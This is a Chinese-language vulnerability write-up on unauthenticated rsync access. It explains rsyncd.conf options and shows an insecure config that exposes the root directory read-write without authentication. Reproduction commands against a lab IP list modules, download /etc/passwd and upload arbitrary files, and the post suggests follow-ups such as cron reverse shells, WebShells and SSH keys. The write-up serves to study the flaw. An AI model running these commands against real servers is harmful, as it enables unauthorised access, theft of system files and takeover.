rsync 未授权访问漏洞

时间:2022-05-20 10:26:01

rsync

rsync,remote synchronize顾名思意就知道它是一款实现远程同步功能的软件,它在同步文件的同时,可以保持原来文件的权限、时间、软硬链接等附加信息。 rsync是用 “rsync 算法”提供了一个客户机和远程文件服务器的文件同步的快速方法,而且可以通过ssh方式来传输文件,这样其保密性也非常好

rsync配置文件

配置文件 rsyncd.conf 由全局配置和若干模块配置组成。一般在/etc/rsyncd.conf
配置文件的语法为:

  • 模块以 [模块名] 开始
    模块定义什么呢?主要是定义服务器哪个目录要被同步。每个模块都要以[name]形式。这个名字就是在rsync 客户端看到的名字,其实有点象Samba服务器提供的共享名。而服务器真正同步的数据是通过path 指定的。我们可以根据自己的需要,来指定多个模块。每个模块要指定认证用户,密码文件、但排除并不是必须的
  • 参数配置行的格式是 name = value ,其中 value 可以有两种数据类型:
  • 字符串(可以不用引号定界字符串)
  • 布尔值(1/0 或 yes/no 或 true/false)
  • 以 # 或 ; 开始的行为注释
  •  \为续行符
参数 说明
uid 此参数指定与该模块之间的文件传输的用户名或用户ID
gid 此参数指定在访问模块时将使用的一个或多个组名称/ID
use chroot 若为 true,则 rsync 在传输文件之前首先 chroot 到 path 参数所指定的目录下。这样做的原因是实现额外的安全防护,但是缺点是需要 root 权限,并且不能备份指向 path 外部的符号连接所指向的目录文件
max connections 指定该模块的最大并发连接数量以保护服务器,超过限制的连接请求将被告知随后再试
syslog facility 指定 rsync 发送日志消息给 syslog 时的消息级别
pid file rsync 的守护进程将其 PID 写入指定的文件
log file 指定 rsync 守护进程的日志文件,而不将日志发送给 syslog
path 指定当前模块在 rsync 服务器上的同步路径,该参数是必须指定的
comment 给模块指定一个描述,该描述连同模块名在客户连接得到模块列表时显示给客户
read only 指定是否允许客户上传文件。若为 true 则不允许上传;若为 false 并且服务器目录也具有读写权限则允许上传
auth users 指定验证用户名,可以不设置,不设置默认不用密码,设置的话安全性更高点
secrets file 指定密码文件,如果设定验证用户,这一项必须设置,设定密码权限为400
hosts allow 设置可以允许访问的主机,可以是网段,多个Ip地址用空格隔开

该漏洞环境下rsync的配置文件

rsync 未授权访问漏洞

uid = root
gid = root
use chroot = no
max connections = 4
syslog facility = local5
pid file = /var/run/rsyncd.pid
log file = /var/log/rsyncd.log

[src]
path = /
comment = src path
read only = no

由配置文件,我们可以访问path所指定目录以外的目录,该配置还定义了一个src模块,路径指向根目录,而且可读可写,最重要的是没有设置用户名,如此便无需密码直接访问

复现

  • 查看可用模块
    rsync 192.168.122.1::
    rsync rsync://192.168.122.1:873/
    rsync rsync://192.168.122.1
    rsync 未授权访问漏洞

  • 列出模块下文件
    rsync 192.168.122.1::src
    rsync rsync://192.168.122.1/src
    rsync 未授权访问漏洞

  • 下载任意文件
    rsync rsync://192.168.122.1/src/etc/passwd ./
    rsync 192.168.122.1::src/etc/passwd ./
    rsync 未授权访问漏洞

  • 上传任意文件
    rsync x.txt rsync://192.168.122.1/src/home/
    rsync x.txt 192.168.122.1::src/home/
    rsync 未授权访问漏洞
    rsync 未授权访问漏洞

然后可以写入了一个cron任务,反弹shell,有Web服务的话,可以写WebShell,或者写ssh公钥等

参考:
rsyncd.conf